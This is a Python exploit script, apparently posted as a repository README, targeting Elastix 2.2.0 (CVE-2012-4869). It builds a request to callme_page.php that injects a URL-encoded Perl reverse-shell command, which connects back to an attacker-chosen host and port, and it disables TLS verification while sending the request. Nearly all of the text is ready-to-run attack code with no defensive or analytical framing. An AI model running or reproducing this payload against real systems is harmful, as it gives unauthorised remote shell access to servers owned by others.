README.md
Rendering markdown...
import socket
import argparse
import requests
import os
import sys
import ssl
import urllib3
from requests.adapters import HTTPAdapter
from urllib3.poolmanager import PoolManager
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class TLSAdapter(HTTPAdapter):
def init_poolmanager(self, *args, **kwargs):
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
kwargs['ssl_context'] = context
return super(TLSAdapter, self).init_poolmanager(*args, **kwargs)
parser = argparse.ArgumentParser(description="Elastix 2.2.0 Local File Inclusion CVE-2012-4869")
parser.add_argument('URL', type=str, help="Vulnerable Website")
parser.add_argument('--LHOST', type=str, required=True, help="Your IP address for reverse shell")
parser.add_argument('--LPORT', type=int, required=True, help="Your Port for reverse shell")
input_arg = parser.parse_args()
print("\n[*] Running Elastix 2.2.0 LFI Exploit - CVE-2012-4869")
print(f"[*] Target: {input_arg.URL}")
print(f"[*] Listening on {input_arg.LHOST}:{input_arg.LPORT}\n")
url = f'{input_arg.URL}/recordings/misc/callme_page.php?action=c&callmenum=233@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20perl%20-MIO%20-e%20%27%24p%3dfork%3bexit%2cif%28%24p%29%3b%24c%3dnew%20IO%3a%3aSocket%3a%3aINET%28PeerAddr%2c%22{input_arg.LHOST}%3a{input_arg.LPORT}%22%29%3bSTDIN-%3efdopen%28%24c%2cr%29%3b%24%7e-%3efdopen%28%24c%2cw%29%3bsystem%24%5f%20while%3c%3e%3b%27%0D%0A%0D%0A'
session = requests.Session()
session.mount('https://', TLSAdapter())
try:
response = session.get(url, verify=False, timeout=10)
if response.status_code == 200:
print("[+] Exploit sent successfully, waiting for reverse shell...\n")
else:
print(f"[!] Exploit failed, server responded with status code {response.status_code}\n")
except requests.exceptions.RequestException as e:
print(f"[!] Error sending exploit: {e}")
sys.exit(1)